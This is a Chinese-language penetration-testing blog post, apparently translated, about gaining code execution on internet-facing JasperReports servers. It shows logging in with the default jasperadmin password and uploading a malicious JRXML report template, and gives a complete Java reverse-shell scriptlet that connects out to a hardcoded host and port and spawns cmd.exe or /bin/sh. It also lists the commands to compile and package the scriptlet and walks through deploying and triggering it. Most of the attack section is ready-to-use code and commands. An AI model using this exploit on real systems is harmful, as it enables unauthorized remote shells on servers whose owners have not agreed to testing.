不久前,我的同事跟我在对一个客户端进行渗透测试。我们确实发现的一件事是,他们留下了几个联网的JasperReports服务器。寻找默认管理帐户的用户名并没有花费太多的精力。
也没有用多久我们就猜解出密码是“jasperadmin”
我从前听过JasperReports但从来没有碰到过要对它进行渗透测试。一个快速的google搜索也没有对前期工作产生多大的作用。尽管这个管理界面很不常见但是它也没有摆脱以某种方式来执行代码,所以顺利成章的我们开始在渗透旅程中把JasperReports渗透测试添加进“容易成功”的列表。
代码和小脚本
JasperReports的目的是提取数据从各种各样的来源,例如:databases, xml, flat files等等,并且基于用户定义的模板用某种方式生成一份漂亮的报告。模板在JasperReports被定义为“JRXML”文件,任何拥有创建编辑报告权限的用户都可以上传它。
JasperReports的设计者允许数据在被包含在报告之前自定义操作。接下来就是利用一些小技巧用Java来编写一段脚本!我想也许你会看到这个。
我们的目标呢,就是创建一个报告模板(JRXML file)当然是依旧定制的恶意脚本,当它运行时,我们可以收到一个shell。这篇文章的其余部分将会详细描述我们是如何将脚本和报告模板联系到一起的。
编辑模板
我们仅仅编辑一个存在的模板而不是创建一个。以下是我们将使用的模板。注意一下,过于复杂以及其中的90%是完全不必要的。下面这个只是一个带有“JasperStudio”的简单样本报告。35–42行是有趣的一个部分,我在这个部分插入了“ShellScriptlet”。
shell.jrxml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201
| <?xml version="1.0" encoding="UTF-8"?>
<jasperReport xmlns="http://jasperreports.sourceforge.net/jasperreports" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports http://jasperreports.sourceforge.net/xsd/jasperreport.xsd" name="AllAccounts" pageWidth="595" pageHeight="842" whenNoDataType="AllSectionsNoDetail" columnWidth="515" leftMargin="40" rightMargin="40" topMargin="50" bottomMargin="50" isSummaryWithPageHeaderAndFooter="true" uuid="17f4b3c5-e096-4a65-b030-ed3bb58ce311"> <property name="net.sf.jasperreports.export.pdf.tag.language" value="EN-US"/> <style name="Sans_Normal" isDefault="true" fontName="DejaVu Sans" fontSize="12"/> <style name="Sans_Bold" fontName="DejaVu Sans" fontSize="12" isBold="true"/> <style name="Sans_Italic" fontName="DejaVu Sans" fontSize="12" isItalic="true"/> <style name="PageHeader" style="Sans_Bold" forecolor="#FFFFFF" backcolor="#333333"/> <style name="detail" fontName="DejaVu Sans" fontSize="12"> <conditionalStyle> <conditionExpression><![CDATA[new Boolean($V{CityGroup_COUNT}.intValue() % 2 == 0)]]></conditionExpression> <style mode="Opaque" backcolor="#E0E0E0"/> </conditionalStyle> </style> <subDataset name="Table Dataset 1" uuid="4fcc1d09-9859-48ee-bb6f-8d369bd49113"> <queryString> <![CDATA[SELECT name, phone_office, billing_address_city, billing_address_street, billing_address_country FROM accounts ORDER BY billing_address_country, billing_address_city]]> </queryString> <field name="name" class="java.lang.String"/> <field name="phone_office" class="java.lang.String"/> <field name="billing_address_city" class="java.lang.String"/> <field name="billing_address_street" class="java.lang.String"/> <field name="billing_address_country" class="java.lang.String"/> <sortField name="billing_address_country"/> <sortField name="billing_address_city"/> <variable name="CityyNumber" class="java.lang.Integer" incrementType="Group" incrementGroup="CityGroup" calculation="Count"> <variableExpression><![CDATA[Boolean.TRUE]]></variableExpression> <initialValueExpression><![CDATA[new Integer(0)]]></initialValueExpression> </variable> <group name="CityGroup"> <groupExpression><![CDATA[$F{billing_address_city}]]></groupExpression> </group> </subDataset> <scriptlet name="ShellScriptlet" class="foxglove.shell.ShellScriptlet"> <scriptletDescription><![CDATA[]]></scriptletDescription> </scriptlet> <title> <band height="79" splitType="Stretch"> <textField> <reportElement x="227" y="20" width="100" height="30" uuid="32a2a8ff-d90a-48d7-b044-5325b5c6264f"/> <textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression> </textField> </band> </title> <pageFooter> <band height="40"> <line> <reportElement x="0" y="10" width="515" height="1" uuid="19826638-0487-4bb5-9b15-7e7af63b8dce"> <property name="net.sf.jasperreports.export.pdf.tag.table" value="end"/> </reportElement> </line> <textField isStretchWithOverflow="true"> <reportElement x="200" y="20" width="80" height="16" uuid="6f072af1-756c-49f4-82f3-af59e8124296"/> <textElement textAlignment="Right"/> <textFieldExpression><![CDATA["Page " + String.valueOf($V{PAGE_NUMBER}) + " of"]]></textFieldExpression> </textField> <textField isStretchWithOverflow="true" evaluationTime="Report"> <reportElement x="280" y="20" width="75" height="16" uuid="02b15e9e-d360-4b82-a140-54b9bd3b0e81"/> <textElement textAlignment="Left"/> <textFieldExpression><![CDATA[" " + String.valueOf($V{PAGE_NUMBER})]]></textFieldExpression> </textField> </band> </pageFooter> <summary> <band height="149" splitType="Stretch"> <image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon"> <reportElement positionType="Float" x="0" y="71" width="250" height="70" uuid="aa8a8976-039f-45ac-84f3-d8d55b442410"/> <imageExpression><![CDATA["repo:LogoLink"]]></imageExpression> <hyperlinkTooltipExpression><![CDATA["JasperReports Logo"]]></hyperlinkTooltipExpression> </image> <image scaleImage="Clip" hAlign="Right" vAlign="Middle" onErrorType="Icon"> <reportElement positionType="Float" x="265" y="71" width="250" height="70" uuid="4b5dd0d1-9011-42cf-ab07-f80c02d3d166"/> <imageExpression><![CDATA["repo:AllAccounts_Res2"]]></imageExpression> <hyperlinkTooltipExpression><![CDATA["Jaspersoft Logo"]]></hyperlinkTooltipExpression> </image> <componentElement> <reportElement key="table" x="0" y="0" width="515" height="70" uuid="db3dd84a-3743-43b3-ab7e-c4aebdb907df"/> <jr:table xmlns:jr="http://jasperreports.sourceforge.net/jasperreports/components" xsi:schemaLocation="http://jasperreports.sourceforge.net/jasperreports/components http://jasperreports.sourceforge.net/xsd/components.xsd" whenNoDataType="AllSectionsNoDetail"> <datasetRun subDataset="Table Dataset 1" uuid="3b2a079f-f600-46a6-a7af-720c4e939e7e"> <connectionExpression><![CDATA[$P{REPORT_CONNECTION}]]></connectionExpression> </datasetRun> <jr:columnGroup width="515" uuid="1e5d630a-c8f9-4dbb-8415-393f7624ca35"> <jr:groupHeader groupName="CityGroup"> <jr:cell height="30" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="Sans_Bold" positionType="Float" mode="Opaque" x="0" y="14" width="515" height="16" isPrintWhenDetailOverflows="true" backcolor="#C0C0C0" uuid="aeafecc2-ef7e-435c-ae07-1f45ed6b179a"/> <box leftPadding="0" bottomPadding="0" rightPadding="0"> <bottomPen lineWidth="1.0" lineStyle="Solid"/> </box> <textElement textAlignment="Left"/> <textFieldExpression><![CDATA[" " + String.valueOf($V{CityyNumber}.intValue() + 1) + ". " + $F{billing_address_city}+ ", " + $F{billing_address_country}]]></textFieldExpression> <anchorNameExpression><![CDATA[String.valueOf($F{billing_address_city})]]></anchorNameExpression> </textField> </jr:cell> </jr:groupHeader> <jr:column width="30" uuid="43ffff20-e89f-4f73-ad8d-878e9581274a"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="30" height="16" isPrintWhenDetailOverflows="true" uuid="a76dcb9c-8601-48bc-b9cc-3d1c316e537d"> <property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/> <property name="net.sf.jasperreports.export.pdf.tag.colspan" value="1"/> </reportElement> <textFieldExpression><![CDATA[" "]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="30" height="20" isPrintWhenDetailOverflows="true" uuid="73a40f28-2c08-4849-a2a9-b83ade7a6b7d"> <property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="10"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textElement textAlignment="Right"/> <textFieldExpression><![CDATA[$V{CityGroup_COUNT}+"."]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="240" uuid="d472eeed-282a-402b-9044-a397ca270655"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="240" height="16" isPrintWhenDetailOverflows="true" uuid="bd0d4582-5684-4e15-8623-b3f1940bf1bb"> <property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/> <property name="net.sf.jasperreports.export.pdf.tag.colspan" value="2"/> </reportElement> <box leftPadding="0" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Name"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell style="detail" height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="240" height="20" isPrintWhenDetailOverflows="true" uuid="23562605-5611-41d8-8a40-98ad9d28834a"> <property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{name}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="100" uuid="4612e5a3-cb0d-4533-9b54-9ad9828acbed"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="100" height="16" isPrintWhenDetailOverflows="true" uuid="d81f1db2-9f2e-4665-aa47-3d1a49cc9d15"> <property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/> </reportElement> <box leftPadding="10" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Phone"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="100" height="20" isPrintWhenDetailOverflows="true" uuid="e48d7dee-a092-45ea-8bd8-8440f76a9fd0"> <property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="5"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{phone_office}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> <jr:column width="145" uuid="f0397b7d-4130-4b13-88b1-d89415b269bd"> <jr:columnHeader height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="PageHeader" positionType="Float" stretchType="RelativeToBandHeight" mode="Opaque" x="0" y="4" width="145" height="16" isPrintWhenDetailOverflows="true" uuid="0a1206b8-d0d6-4809-a424-3d7f09606b44"> <property name="net.sf.jasperreports.export.pdf.tag.th" value="full"/> </reportElement> <box leftPadding="0" bottomPadding="0" rightPadding="0"/> <textFieldExpression><![CDATA["Address"]]></textFieldExpression> </textField> </jr:columnHeader> <jr:detailCell height="20" rowSpan="1"> <textField isStretchWithOverflow="true"> <reportElement style="detail" positionType="Float" stretchType="RelativeToBandHeight" x="0" y="0" width="145" height="20" isPrintWhenDetailOverflows="true" uuid="7bc63c7e-0224-441b-96ec-8a1bb67a0b84"> <property name="net.sf.jasperreports.export.pdf.tag.td" value="full"/> </reportElement> <box topPadding="4" leftPadding="0" bottomPadding="0" rightPadding="0"> <bottomPen lineWidth="1.0" lineStyle="Solid" lineColor="#808080"/> </box> <textFieldExpression><![CDATA[$F{billing_address_street}]]></textFieldExpression> </textField> </jr:detailCell> </jr:column> </jr:columnGroup> </jr:table> </componentElement> </band> </summary> </jasperReport>
接下来看42行: <textFieldExpression><![CDATA[$P{ShellScriptlet_SCRIPTLET}.getShell()]]></textFieldExpression>
这里我们调用一个getshell的方法在ShellScriptlet_SCRIPTLET。在35行我们定义了一个ShellScriptlet_SCRIPTLET 来引用“foxglove.shell.ShellScriptlet”中的Java代码。
<scriptlet name="ShellScriptlet" class="foxglove.shell.ShellScriptlet"> <scriptletDescription><![CDATA[]]></scriptletDescription> </scriptlet>
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
| 这很简单,但这在Java代码本身是如何定义的呢?
编写攻击脚本
scriptlet用Java编写,需要去扩展“JRDefaultScriptlet”。我从"here"中借用了一些Java代码来反弹shell并且让这种攻击脚本成为跨平台的。下面就是结果了,要注意“host”和“port”的写法是固定的:
package foxglove.shell; import java.io.*; import java.net.*; import java.io.InputStream; import java.io.OutputStream; import java.io.DataInputStream; import net.sf.jasperreports.engine.JRDefaultScriptlet; import net.sf.jasperreports.engine.JRScriptletException; public class ShellScriptlet extends JRDefaultScriptlet implements Runnable{ Socket socket; PrintWriter socketWrite; BufferedReader socketRead; PrintWriter commandWrite; BufferedReader commandRead; static String ip; int port = 8080; public String getShell(){ ip = "1.1.1.1"; ShellScriptlet shell = new ShellScriptlet(); shell.establishConnection(); new Thread(shell).start(); shell.getCommand(); return "DONE"; } public void run(){ spawnShell(); } public void spawnShell(){ boolean windows = false; try{ if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){ windows = true; } Runtime rt = Runtime.getRuntime(); Process p; if(windows) p = rt.exec("C:\\Windows\\System32\\cmd.exe"); else p = rt.exec("/bin/sh"); InputStream readme = p.getInputStream(); OutputStream writeme = p.getOutputStream(); commandWrite = new PrintWriter(writeme); commandRead = new BufferedReader(new InputStreamReader(readme)); if(windows) commandWrite.println("dir"); else commandWrite.println("ls -al"); commandWrite.flush(); String line; while((line = commandRead.readLine()) != null){ socketWrite.println(line); socketWrite.flush(); } p.destroy(); }catch(Exception e){} } public void establishConnection(){ try{ socket = new Socket(ip,port); socketWrite = new PrintWriter(socket.getOutputStream(),true); socketRead = new BufferedReader(new InputStreamReader(socket.getInputStream())); socketWrite.println("---Connection has been established---"); socketWrite.flush(); }catch(Exception e){} } public void getCommand(){ String foo; try{ while((foo=socketRead.readLine())!= null){ commandWrite.println(foo); commandWrite.flush(); } }catch(Exception e){} } public static void main(String args[]){ ShellScriptlet r = new ShellScriptlet(); r.getShell(); } }
|
对于那些不熟悉Java的,你可以用下面的命令编译在相同的目录中
1
| /usr/lib/jvm/java-6-openjdk-amd64/bin/javac -Xlint -cp .:jasperreports-5.0.0.jar *.java -d .
|
这里指定” javac “的完整路径是有原因的(这是Java 1.6)。如果你运行这个命令对某种系统会出错,你需要考虑理想情况下用相同的环境来编译它,至少不是最新的版本!
接下来我们要做的就是把所有的代码打包趁有个jar文件然后上传到目标站点。你可以使用下面这个代码来完成它:
1
| /usr/lib/jvm/java-6-openjdk-amd64/bin/jar cvf shell.jar foxglove/
|
如果一切进行的顺利,你就会得到个“shell.jar”文件,接下来就准备上传这个到目标站点吧!
部署这个新的“Report”
每个版本的JasperReports似乎都有些不同,但是他们都有相同的函数和工作流。
首先很明显我们要去验证一下“jasperadmin/jasperadmin”:
在我这个版本中,这就立即显示出了有一堆reports样例的“Repository”(要确保“Type”这一列说的是“Report”)。
接下来,我们只要右击一个report并且点击“Edit”就好。
一开始,就点击 “Controls and Resources” 之后点击“Add Resource”。上传我们之前创建的JAR文件并给这个资源命名为“ShellScriptlet”。结束之后我们应该可以看到下图这样的结果:
点击左侧栏的“Set Up”,单击 “Upload a Local file”把我们之前创建的JRXML文件上传了。你应该可以得到下图所示的结果:
Jasper 现在让我们去定义一些我们在JRXML文件引用的资源。如果你是一个keener你可能会仅仅把这些资源从JRXML文件中删除。仅仅单击“Add Now”并且上传一些随机的PNG图片文件为你每一个引用资源…当你做完这些应该看起来像下图一样:
现在你只需要点击“Submit”在这个按钮来创建我们的恶意report就好了。哈哈
Shellz!
先别激动,在你运行这个report之前,你还要开个监听端口去捕捉你的shell!!!
之后单击你创建的report,它将会运行Java代码,如果没有什么问题,你就可以看到反弹的shell了。